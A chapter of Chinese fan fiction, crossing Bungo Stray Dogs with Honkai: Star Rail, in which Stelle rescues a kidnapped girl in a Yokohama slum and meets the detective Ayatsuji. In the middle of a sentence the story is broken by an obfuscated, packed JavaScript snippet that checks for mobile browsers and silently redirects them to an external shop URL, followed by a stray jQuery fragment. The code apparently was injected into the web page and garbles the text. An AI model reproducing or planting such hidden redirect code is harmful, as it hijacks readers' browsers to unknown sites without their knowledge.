国木田独步因为委托的原因,去贫民窟找相关的人。
星就是对贫民窟实现地毯式搜索。
遇到了拦路的家伙,打。
遇到了抢劫的家伙,打。
遇到了偷窃的家伙,打。
遇到了问人的家伙,打。
不对。
星收住差点挥出去的应援棒。
“抱歉,差点条件反射了。”星注意到对方的手一瞬间摸到了腰间。
“……没关系。”对方的手又放了回去,“请问,你有见过一位金色头发的,带着墨镜和烟斗,大概一米八的成年男性?”
看起来是找人的,和自己一样。
星想了想,摇头,“没有。”
“那抱歉,打扰了。”女孩子急匆匆的离开。
星继续自己的打人,啊不,是找人旅途。
怎么这么多人来贫民窟找人啊?星想着之前谷崎直美说的话。
可能就是因为这里没人管?什么坏人都往这里钻?
星看到一个男人急匆匆的走过来,手里抱着一个小孩子。
那个男人看见了星,有些警惕,还选择绕了一下路。
结果踩到一颗不知道从哪里冒出来的小石头,脚下一歪就往地上摔去。
星眼疾手快的抓住对方,一手接住了小孩子。
小孩子闭着眼睛,没有动静。睡着了?星有些疑惑。
“……谢谢,谢谢。”男人道了几声谢,盯着星手里的孩子有些紧张,“可以把我的女儿还给我吗?她生病了,我需要带她去诊所。”
星下意识点点头,把孩子递了过去。
不过……生病?星收回手,躲开了男人伸过来的手。
“你!你要做什么!你把孩子还给我!”男人想伸手来抢,结果被星躲开一脚踹飞。
星虽然不敢说自己是个侦探,但是好歹也是开过哩哩周刊杂志社的人,观察能力还是有的。
眼前的男人穿着干净,说不上贵,但是比小孩子缝补了一次又一次的衣服好很多。
既然是对生病的女儿紧张,那怎么可能一家人穿两种衣服?这男人看起来也不像是买不起小孩子衣服的人。
“你……你敬酒不吃吃罚酒是吧。”男人爬起来,拿出枪对着星。
“把孩子给我!不然你就等着你的脑袋开花吧!”
没等星动作呢,被男人撞的破烂的房子摇摇欲坠,哗啦一下塌了。
……
星等了一会儿,没看到人爬起来,倒是看到血流了出来。
等等?为什么被木头房子压在下面会流血啊?星放下孩子准备开挖的时候,注意到有人过来了。
一个女人跑过来抱住了地上的小女孩,紧张的检查了一遍,又恶狠狠的盯着星。
旁边的男人走过来,“不是她,凶手是被压在房子下面的那一个。”
男人金发,戴着帽子和墨镜,手里拿着一只烟斗。
好熟悉的外貌描写,这不就是刚刚那个女人要找的人吗?
看起来抱着孩子的女人就是孩子的母亲,她的穿着可比死的那个男人破旧多了。
“谢谢先生,谢谢……”母亲抱着孩子不停的鞠着躬。
“好了,我的委托完成了,也该离开这里了。”
星还是蒙的,但是她叫住了人,“……那个,刚刚有人在找你。”
“看起来辻村终于有长进了,学会开始动起来她的脑子。”绫辻行人离开了这里。
似乎发生了什么,又好像什么也没发生。
绫辻行人离开之后,那位母亲也带着昏睡的女儿离开了。
星想了想,还是把男人尸体从木头堆里挖出来。她没碰尸体,在看到插在男人心脏的木条,星明白了对方死的原因。
不过等星站起来的时候,但靠近的时候,她感觉到了。
不是目里小鸟游身上那种浓厚的感觉。很淡,像有什么东西在尸体的边缘停留过,然后迅速消散了。
她眨了眨眼,看到一缕很淡的彩色,从尸体表面飘起来,像是被风吹散的烟,融进了空气里。
星往那对母女离开的方向追去,很快就追上了他们。
“请等一等。”星拦住她们。
母亲有些警惕。
“我…我是侦探社社员,想要调查…这里的拐儿童案件。请问可以告诉我一些关于抱走你女儿的人的情况吗?”星脑子飞速旋转,给了对方一个可以信任自己的理由。
母亲愣了一下,有些放松,“…原来是这样啊。不过,我不太清楚,说起来,他好像是两三天之前和我孩子接触的吧。”
“也是我没用,没办法给我的女儿更好的生活。那天女儿拿着糖果来找我,我还以为是女儿捡来的。”
“也就是说,其实你并不这样认识他。”
“是的。”
“那大概是什么时候?你发现你女儿不见了,嗯…被他抱走了。”
“差不多半个小时之前。”对方思考,“我在附近找了一圈,都没找到。快急死我了,后来出现了一个说自己是侦探的好心人。”
应该就是指的刚刚那个男人。
“虽然他有些奇怪,问了几次这是委托吗?”
“我不管是不是有什么委托,只要能救我女儿。”
按照她的话,那个侦探接受了这份委托,根据线索判断出了拐走小孩的人以及行动路线,带着她跟了过来。
不过没想到的是这个男人竟然被木头房子意外插入心脏导致死亡了。
那么星感觉到的若隐若现的存在,也在男人死亡这里断开了。
不,等等。
星突然盯着这位母亲。
“请问,还有什么事吗?”
对方是一位很典型的贫穷妇女形象。又矮又瘦,穿着破旧,女儿的衣服虽然缝缝补补,但是比母亲的衣服干净很多。
可是就在刚刚那一瞬间,星在对方身上有了熟悉的感觉。
这个时候,昏睡过去的女儿迷迷糊糊醒过来,母亲询问星还有没有其他的事,没有的话她就要带着女儿离开了。
星摇摇头,看着母女两个远去。她又回到了死去的男人那里。木头塑料袋之类的东西已经被其他人捡走了,只剩个尸体在那里孤零零的。
男人衣衫不整,估计身上也被摸干净了。
星又靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729420|208791||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
近了一些,那丝感觉又消失的无影无踪,甚至让星觉得刚刚自己是不是产生了错觉。
一个是死去的尸体,一个是看起来贫苦无比的妇女。
但凡他俩一个有异能力也不至于轮到这种地步。
国木田独步还在继续自己的工作,停在路标的车没有被开走。
星想给他发个信息,突然发现自己没有国木田独步的手机号。
说起来,除了与谢野晶子、宫泽贤治和春野绮罗子外,星都没有和其他人交换过手机号。
没想到这里的手机还是可以给星打电话,星不用自己再掏一次钱买手机。
这几天大大小小的委托星做了不少,星轨能量利落的上了五位数,星琼也有1600+了。
不过星对星琼模拟出来的角色不感兴趣。
她更想等横滨这里结束了,把星琼带回去。这可比费劲吧啦的找宝箱解密快多了。
星在车边蹲在那里想等国木田独步,没想到等到了两个刚刚才见过面的人走了出来。
“绫辻老师,您又趁我不注意偷偷跑了出来,我从商业街一路找过来,为什么您会来到贫民窟这里。”
“你自己说的,趁你不注意。怎么?还要我夸夸你吗?”
“……我知道了,下次不会再犯这种错误了。”
“知错就改是人类最大的谎言,你还不如乖乖递交辞职申请。”
“我绝对不会那么做的。”
“无用的坚持。”
两个人边走边聊天,绫辻行人看到了星。
“唉……是她。”辻村深月对这位少女很有印象。
“侦探社的车,原来你是侦探社的人。”绫辻行人说。
星站起来,点了点头示意问好,“请问你是?”
“绫辻侦探事务所的侦探。”
懂了,原来是同行。
绫辻行人没有多聊天的想法,简单打了招呼就离开了。
辻村深月倒是比绫辻行人好相处的多,和星说了再见。
与此同时,在他们路过星的一瞬间,星只觉得眼睛一花,看到了无数色彩旋转,融合又分离。
耳边是遥远的若有若无的歌声,星感觉到了微风吹拂自己,海浪轻拍着她的脚面,阳光摇晃着,空气也开始扭曲。
也许是一秒,也许是一个小时。
等星清醒过来的时候,她发现自己手里出现了同谐的礼帽。
这是她在匹诺康尼获得同谐星神的撇视,所拥有的同谐之力的象征。
为什么……刚刚发生了什么?星尝试去思考,却什么也想不起来。
“星?你没事吧?”出来的国木田独步发现星的脸色不太对。
星抬头看了看国木田独步,摇头,“没什么……刚刚你,过来的时候有没有看到什么?”
国木田独步思考了一下,“没有。只看到你对着手里的帽子发呆。这顶帽子是证物吗?”
“不。”星把帽子收了起来,“这是我的武器。”
国木田独步虽然不理解为什么帽子也是武器。
差不多快中午,国木田独步的调查也快完了,两人又一起坐车回到了侦探社。